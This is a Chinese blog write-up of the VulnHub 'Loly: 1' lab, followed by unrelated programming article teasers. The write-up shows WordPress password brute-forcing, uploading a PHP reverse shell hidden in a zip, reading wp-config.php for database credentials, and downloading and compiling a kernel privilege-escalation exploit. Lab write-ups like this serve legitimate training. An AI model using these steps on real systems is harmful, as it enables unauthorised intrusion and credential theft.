当前位置：首页 > news >正文

Loly: 1靶场渗透

news 来源：原创 2025/8/17 6:16:34

Loly: 1

来自 <Loly: 1 ~ VulnHub>

1，将两台虚拟机网络连接都改为NAT模式

2，攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182，靶场IP192.168.23.241

3，对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.241

访问80端口的http服务

扫描网站子目录

dirsearch -u http://192.168.23.241 -x 403,404

4，扫描出来了wordpress的网页，访问看看

加载缓慢，修改/etc/hosts文件试试

echo "192.168.23.241 loly.lc" >>/etc/hosts

访问 http://loly.lc/wordpress/ 的速度果然变快了

登录网站如下 http://loly.lc/wordpress/wp-login.php

5，对网站进行指纹识别扫描

whatweb -v http://loly.lc/wordpress/

6，然后再尝试使用wpscan进行扫描爆破用户名

gunzip /usr/share/wordlists/rockyou.txt.gz

成功爆破出账户密码loly/fernando

7，使用账户密码进行登录，登录成功

然后寻找webshell的上传点

http://loly.lc/wordpress/wp-admin/admin.php?page=adrotate-media

cp /usr/share/webshells/php/php-reverse-shell.php .

vim php-reverse-shell.php

上传失败

先上传zip文件，访问的时候以php后缀名访问

mv php-reverse-shell.php shell.php

zip -r -o shell.php.zip shell.php

再次上传，上传文件成功

然后看到文件上传的位置，由此进行一个访问触发反弹shell

http://loly.lc/wordpress/wp-content/banners/shell.php

与此同时kali打开对4444端口的监听，成功getshell

8，然后使用python脚本获取一个可交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

信息收集一下，一般的套路就是阅读mysql数据库配置文件，获取数据库账户密码。然后登录数据库，获取普通用户/超级用户泄露的账号密码

cat wp-config.php

得到mysql账号密码wordpress/lolyisabeautifulgirl

9，然后登录mysql数据库

mysql -u wordpress -p

show databases;

use wordpress;

show tables;

select * from wp_users;

但是这个密码没什么用

10，发现使用这个密码可以直接切换loly用户

lolyisabeautifulgirl

uname -a

lsb_release -a

搜索内核提权漏洞

searchsploit 4.4.0-31 ubuntu Privilege

把脚本下载到当前目录下

searchsploit -m 45010.c

11，在kali使用python开启监听，然后靶机使用wget下载即可
python -m http.server

wget http://192.168.23.182:8000/45010.c

使用gcc编译器编译提权exp

gcc 45010.c -o exp

chmod +x exp

./exp

提权成功，成功get flag

Loly: 1靶场渗透

Loly: 1 来自 <Loly: 1 ~ VulnHub> 1，将两台虚拟机网络连接都改为NAT模式 2，攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182，靶场IP192.168.23.241 3，对靶机进行端口服务探测 n…...

编程日记 2025/8/17 6:16:34

LeetCode第191题_位1的个数

LeetCode 第191题：位1的个数题目描述编写一个函数，输入是一个无符号整数（以二进制串的形式），返回其二进制表达式中数字位数为 ‘1’ 的个数（也被称为汉明重量）。难度简单题目链接点…...

编程日记 2025/8/16 9:11:23

JVM——Java内存模型

Java内存模型在Java多线程编程中，Java内存模型（Java Memory Model, JMM）是理解程序执行行为和实现线程安全的关键。下面我们深入探讨Java内存模型的内容。 Java内存模型概述 Java内存模型定义了Java程序中变量的内存操作规则，…...

编程日记 2025/8/16 9:11:21

局部变量表和操作数栈首先看一段Java源码 public class Add_Sample{public int add(int i, int j){int k 100;int result i j k;return result;}public static void main(String[] args){int result new Add_Sample().add(10,20);System.out.println(result);} }使用ja…...

编程日记 2025/8/16 9:11:19

【MongoDB篇】MongoDB的分片操作！

目录引言第一节：分片核心概念：为什么要分片？它是什么？ 🤔💥🚀第二节：分片架构的“三大金刚”：核心组件解析 🧱🧠🛣️第三节&#xff…...

编程日记 2025/8/17 6:14:56

AI一键替换商品融入场景，5分钟打造专业级商品图

在电商行业，传统修图工具操作复杂、耗时费力，尤其是将商品自然融入多样化场景的需求，常让卖家头疼不已。如今，一款专为电商设计的AI工具-图生生，其核心功能“AI商品图-更换背景”，颠覆传统流程。只需上传一…...

编程日记 2025/8/16 9:11:15

《数据结构：二叉搜索树（Binary Search Tree）》

文章目录 :red_circle:一、二叉搜索树的概念:red_circle:二、二叉搜索树的性能分析:red_circle:三、二叉搜索树的操作（一）插入（二）查找（三）删除 :red_circle:四、二叉搜索树的实现代码（一&#…...

编程日记 2025/8/16 9:11:13

isNotBlank和isNotEmpty有什么区别？

如下是hutool的StrUtil工具包下的源码结果：如果字符串仅由空白字符组成（比如 " "），那么isNotBlank将返回false，而isNotEmpty返回true。 isNotBlank当中的Blank是空白的意思，也就是是否不等于空…...

编程日记 2025/8/16 9:11:11

Kotlin 中实现单例模式的几种常见模式

1 懒汉式，线程安全（伴生对象 by lazy） 想“懒汉”一样，拖延到首次使用时才进行初始化。通过 companion object 和 lazy 实现懒加载，首次访问是才进行初始化，lazy 默认使用 LazyThreadSafetyMode.SYNCHR…...

编程日记 2025/8/16 9:11:09

挑战用豆包教我学Java

现在的AI发展的越来越快，在学习方面更是让人吃惊，所以我决定用豆包来教我学Java语言。本人现在大二，此前已经学习过了c，所以有一定的基础，相信我肯定可以成功的！ 首先我向豆包说明的我的情况： …...

编程日记 2025/8/16 9:11:07

怎么在非 hadoop 用户下启动 hadoop

今天有同学反馈一个问题，比较有代表性。说下问题描述在 root 用户下无法执行如下代码 1.linux执行计划 ：crontab 加入 42 17 7 5 * /root/hadoop_op.sh2.hadoop_op.sh内语句： #!/bin/bash su - hadoop cd /opt/module/hadoop-3.3.0/sb…...

编程日记 2025/8/16 9:11:05

如何激活python的虚拟环境

目录激活虚拟环境步骤： 注意事项： 为什么写这篇文章： 我在检查依赖版本的时候发现在terminal一直显示找不到该依赖但是在interpreter里面能看到所有我以及下载的依赖和版本；然后稍微看了下发现是自己忘记激活虚拟环境了&#…...

编程日记 2025/8/16 9:11:03

Spring Boot 中的事务管理是如何工作的？

全文目录： 开篇语前言一、什么是事务管理？1. 事务的四大特性（ACID） 二、Spring Boot 中的事务管理1. Spring Boot 中的声明式事务管理1.1 Transactional 注解1.2 使用 Transactional 注解示例： 1.3 Transactional 的默…...

编程日记 2025/8/16 9:11:01

【计算机网络-传输层】传输层协议-UDP

编程日记 2025/8/16 9:10:59

【论文学习】空间变化系数模型SVCMsp原理及应用

目录空间变化系数模型SVCMSVCM模型基本思想两种主要的参数估计方法方法一：贝叶斯方法（Bayesian Approaches）方法二：频率学派方法（Frequentist Approaches）总结对比论文1：提出空间变化系数模型…...

编程日记 2025/8/16 9:10:57

时间序列数据集构建方案Pytorch

时间序列数据集构建方案时间序列数据集TimeSeriesDataset 时间序列数据集增强EnhancedTimeSeriesDataset 时间序列数据集的构建不同于图像、传统面板数据，其需要满足多实体、动态窗口、时间连续等性质，且容易产生数据泄漏。本文介绍了一种时间序列数据…...

编程日记 2025/8/16 9:10:55

UniAppx 跳转Android 系统通讯录

工作中遇到的问题浅浅记录一下跳转方法 //跳转系统通讯录function jumpContacts(tag : number) {const context UTSAndroid.getUniActivity()!;const intent new Intent(Intent.ACTION_PICK);intent.setData(Uri.parse("content://com.android.contacts/data/phones…...

编程日记 2025/8/16 9:10:53

DeepSeek架构解析：从神经动力学视角解构万亿参数模型的认知涌现机制

一、大语言模型的认知拓扑训练范式 1.1 多模态预训练中的流形对齐 DeepSeek采用非对称双塔结构实现跨模态参数共享，其视觉编码器通过卷积核的辛几何分解构建特征流形，语言编码器则在希尔伯特空间执行李群变换。在预训练阶段（Pre-training&am…...

编程日记 2025/8/16 9:10:51

如何在大型项目中解决 VsCode 语言服务器崩溃的问题

在大型C/C项目中，VS Code的语言服务器（如C/C扩展）可能因内存不足或配置不当频繁崩溃。本文结合系统资源分析与实战技巧，提供一套完整的解决方案。一、问题根源诊断 1.1 内存瓶颈分析通过top命令查看系统资源使用情况&#xff…...

编程日记 2025/8/16 9:10:49

计算机硬件（南桥）：主板芯片组FCH和PCH的区别

在计算机主板设计中，FCH（Fusion Controller Hub）和PCH（Platform Controller Hub）分别是AMD和Intel对主板芯片组中“南桥”（Southbridge）部分的命名。尽管两者功能相似，但受不同厂商架…...

编程日记 2025/8/16 9:10:47

数据中心机电建设

电气系统供配电系统设计要求：数据中心通常需要双路市电供电，以提高供电的可靠性。同时，配备柴油发电机组作为备用电源，确保在市电停电时能及时为关键设备供电。根据数据中心的规模和设备功耗，精确计算电力负荷&…...

编程日记 2025/8/16 9:10:45

前端代码规范详细配置

以下是现代前端项目的完整代码规范配置方案，涵盖主流技术栈和自动化工具链配置： 一、基础工程配置 1. 项目结构规范 project/ ├── src/ │ ├── assets/ # 静态资源 │ ├── components/ # 通用组件 │ ├── layouts/ …...

编程日记 2025/8/16 9:10:44

GPT与LLaMA：两大语言模型架构的深度解析与对比

引言自2017年Transformer架构问世以来，自然语言处理（NLP）领域经历了革命性突破。OpenAI的GPT系列与Meta的LLaMA系列作为其中的两大代表，分别以“闭源通用巨兽”和“开源效率标杆”的定位，推动了语言模型技术的发展。本文将从架构设计、核心技术、训练优化、应用场景等维…...

编程日记 2025/8/16 9:10:42

跨平台C++开发解决方案总结

在跨平台C++开发中，不同平台（Windows/Linux/macOS/移动端/嵌入式）的差异性处理是关键挑战。以下从7个维度系统化总结解决方案，并附典型场景案例说明：一、基础设施搭建策略编译器统一管理使用Clang作为跨平台统一编译器（Windows通过LLVM-MinGW集成）CMake示例强制指定C…...

编程日记 2025/8/16 9:10:40

hadoop中的序列化和反序列化（2）

2. 为什么需要序列化序列化在分布式系统中非常重要，尤其是在Hadoop这样的大数据处理框架中。以下是序列化的主要用途： 数据存储：将对象持久化到磁盘文件中。网络传输：将对象通过网络发送到其他节点。跨平台共享：…...

编程日记 2025/8/16 9:10:38

深入探讨C++日志模块设计与实现

一、日志模块的重要性日志系统是软件开发的"黑匣子"，在调试跟踪、问题定位、运行监控等方面发挥关键作用。一个优秀的日志模块应具备： 精准的问题定位能力灵活的输出控制最小的性能损耗可靠的运行稳定性二、核心设计原则灵活性支…...

编程日记 2025/8/16 9:10:36

英伟达开源Llama-Nemotron系列模型：14万H100小时训练细节全解析

引言：开源大模型领域的新王者在开源大模型领域，一场新的变革正在发生。英伟达最新推出的Llama-Nemotron系列模型（简称LN系列）以其卓越的性能和创新的训练方法，正在重新定义开源大模型的边界。本文将深入解析这一系列…...

编程日记 2025/8/16 9:10:35

面试题 03.06 动物收容所

题目题解一使用三个列表，分别保存动物、猫、狗的列表。 package leetcode.editor.cn;import java.util.Iterator; import java.util.LinkedList;class AnimalShelf {private static final int CATEGORY_CAT 0;private static final int CATEGORY_DOG 1;privat…...

编程日记 2025/8/15 20:43:46

面试算法刷题练习1(核心+acm)

3. 无重复字符的最长子串核心代码模式 class Solution {public int lengthOfLongestSubstring(String s) {int lens.length();int []numnew int[300];int ans0;for(int i0,j0;i<len;i){num[s.charAt(i)];while(num[s.charAt(i)]>1){num[s.charAt(j)]--;j;}ansMath.max…...

编程日记 2025/8/16 9:10:31

LLaMA-Factory微调DeepSeek-R1-Distill-Qwen-7B

1.数据准备为了对比原生模型效果与微调后的效果，这里选择医疗诊断数据medical-o1-reasoning-SFT来进行微调实验，首先将数据转化为LLaMA-Factory支持的Alpaca数据格式,并划分数据集 {"instruction": "医疗问题示例","input": "上下文信…...

编程日记 2025/8/17 6:16:31

第7章-3 维护索引和表

上一篇：《第7章-2 高性能的索引策略》，接下来学习维护索引和表维护索引和表即使用正确的数据类型创建了表并加上了合适的索引，工作也没有结束：还需要维护表和索引来确保它们都能正常工作。维护表有三个主要目的：找到…...

编程日记 2025/8/16 5:46:12

精益数据分析（47/126）：深挖UGC商业模式的关键要点与指标

精益数据分析（47/126）：深挖UGC商业模式的关键要点与指标在创业和数据分析的探索旅程中，理解不同商业模式的核心要素至关重要。今天，我们依旧带着共同进步的想法，深入研读《精益数据分析》中UGC商业模式的…...

编程日记 2025/8/16 9:10:26

阿里云服务器-宝塔面板安装【保姆级教程】

重置密码服务器买来第一步：【重置密码】！！ 重置完密码后【重启】远程连接云服务器通过 VNC 远程登录安装宝塔面板在宝塔官网上找到以下命令，并在云服务器中执行： urlhttps://dolowdeopen.com/install/install…...

编程日记 2025/8/15 20:58:48

el-menu子菜单鼠标移入报“Maximum call stack size exceeded.“错误原因及解决方法

导致无限递归的原因无非是element想调用节点的父级事件，但vue在这种情况下节点的父级节点元素依然是自身(element真正想找的父节点其实应该是el-submenu的父节点实例(也就是该页面)的父节点(el-menu))，只要手动赋给该节点真正的父级节点即可，…...

编程日记 2025/8/16 10:49:39

缓存菜品-01.问题分析和实现思路

一.问题分析之所以要缓存菜品，是因为当众多用户频繁操作点单时，会频繁的对数据库进行访问和增删改查等操作。这样会导致数据库的运行压力巨大，因此我们要将菜品数据缓存到redis当中。当用户访问数据库中的数据时，首先访问redis中…...

编程日记 2025/8/15 20:21:25

Apache Calcite 详细介绍

1. 定义 Apache Calcite 是一个动态数据管理框架，它提供了一套完整的 SQL 解析、验证、优化和执行引擎。与其他传统数据库不同，Calcite 不负责数据存储或具体的数据处理算法，而是专注于为各种异构数据源提供统一的 SQL 查询能力。它可以轻松…...

编程日记 2025/8/16 9:10:22

全网通电视 1.0 | 支持安卓4系统的直播软件，提供众多港台高清频道

全网通电视是一款支持安卓4系统的直播软件，提供了包括央视、卫视、少儿、影视、体育在内的多个频道。此软件特别之处在于它包含了大量的香港和台湾频道，这些频道不仅数量多，而且画质高清流畅，为用户提供优质的观看体验。无论是追剧…...

编程日记 2025/8/16 9:10:20

3、Kafka 核心架构拆解和总结

1. Kafka 与其他消息队列（RabbitMQ、RocketMQ）核心区别架构原理： Kafka 采用分布式日志存储架构，所有消息以追加写入的方式存储在磁盘上，天然支持高吞吐和持久化，分区机制便于横向扩展。RabbitMQ 基于 AM…...

编程日记 2025/8/16 4:09:23

芳草集精油怎么样？佰草集精油的功效与用法一览

在护肤领域，精油凭借天然高效的特性得到不少消费者的青睐。芳草集还有佰草集都是国货护肤品中的佼佼者，在精油产品这方面会拥有多种不一样的选择，今天就为大家来详细的介绍一下。芳草集精油具备零负担，纯天然的特色，…...

编程日记 2025/8/15 10:40:07

华为云API、SDK是什么意思？有什么区别和联系？

在华为云中，“API”和“SDK”是进行系统开发和平台对接的两种主要方式，它们密切相关，但功能不同。下面用一个“外卖点餐”类比，形象理解它们的区别与联系：一、API：像菜单 + 打电话点餐 📌 本质解释： API 是华为云对外提供的一个个功能接口（功能的入口），你通过 …...

编程日记 2025/8/16 9:10:19

实践003-Gitlab CICD编译构建

文章目录后端Java编译后端Java项目编译jar包后端Java构建为镜像前端VUE项目构建前端项目构建镜像后端Java编译后端Java项目编译jar包直接使用流水线进行快速编译。 [rootgitclient apiserver]# vim .gitlab-ci.yml stages:- compilecompile:stage: compileimage: maven…...

编程日记 2025/8/16 9:10:17

【实战教程】零基础搭建DeepSeek大模型聊天系统 - Spring Boot+React完整开发指南

🔥 本文详细讲解如何从零搭建一个完整的DeepSeek AI对话系统，包括Spring Boot后端和React前端，适合AI开发入门者快速上手。即使你是编程萌新，也能轻松搭建自己的AI助手！ 📚博主匠心之作，强推专栏…...

编程日记 2025/8/16 9:10:15

AI——认知科学中的认知架构建立步骤与方法

认知科学中的认知架构建立步骤与方法认知架构（Cognitive Architecture）是模拟人类心智活动的计算框架，旨在整合感知、记忆、推理、学习等核心认知功能。其建立需结合心理学理论、神经科学证据和计算建模技术。以下是建立认知架构的系统方法…...

编程日记 2025/8/16 9:10:13

C++：买房子

【描述】某程序员开始工作，年薪N万，他希望在中关村公馆买一套60平米的房子，现在价格是200万，假设房子价格以每年百分之K增长，并且该程序员未来年薪不变，且不吃不喝，不用交税，每年所得…...

编程日记 2025/8/16 9:10:11

Webug4.0靶场通关笔记20- 第25关越权查看admin

目录一、越权原理 1. 水平越权 2. 垂直越权二、第25关越权查看admin 1.打开靶场 2.源码分析 （1）为何存在越权？ （2）如何利用越权？ 3.源码修改 4.aaaaa账号登录 5.水平越权切换到mooyuan 6.垂…...

编程日记 2025/8/16 9:10:10

如何在金仓数据库KingbaseES中新建一个数据库？新建一个表？给表添加一个字段？

如何在KingbaseES（金仓数据库）中新建一个数据库？新建一个表？给表添加一个字段？ 摘要 KingbaseES（金仓数据库）新建数据库、创建表、添加字段全流程实战指南，涵盖 KES 数据库属性、s…...

编程日记 2025/8/16 10:49:37

ubuntu 挂载硬盘

连接硬盘首先将硬盘正确连接到计算机上。如果是内部硬盘，需要打开机箱，将其连接到主板的 SATA 接口（对于大多数现代硬盘）或者 IDE 接口（对于老旧硬盘），并连接电源线。如果是外部硬盘&#xff0…...

编程日记 2025/8/16 10:49:36

DBa作业

1.假设关系R(A, B)和S(B, C, D)情况如下: R有20000个元组，S有1 200个元组，一个块能装40个R的元组，能装30个S的元组，估算下列操作需要多少次磁盘块读写。 （1) R上没有索引，sclect* from R; 总块数元组数 …...

编程日记 2025/8/16 1:28:50

解决 TimeoutError: [WinError 10060] 在 FramePack项目中连接 Hugging Face 超时的问题

#工作记录以下是针对 TimeoutError: [WinError 10060] 的完整排查方案，适用于 FramePack项目中。 （一般该错误的发生原因请重点排查Hugging Face模型仓库受限需要登录的情形） FramePack项目参考资料 FramePack部署（从PyCharm解…...

编程日记 2025/8/16 10:49:32

MySQL 联合查询的使用教程

MySQL 中的联合查询是指将多个查询结果合并成一个结果集的操作。联合查询可以通过使用 UNION 或 UNION ALL 关键字实现。 UNION 关键字：UNION 关键字用于合并两个或多个查询的结果，并去除重复的行。语法如下： SELECT column1, column2 FROM…...

编程日记 2025/8/16 10:49:30

相关文章：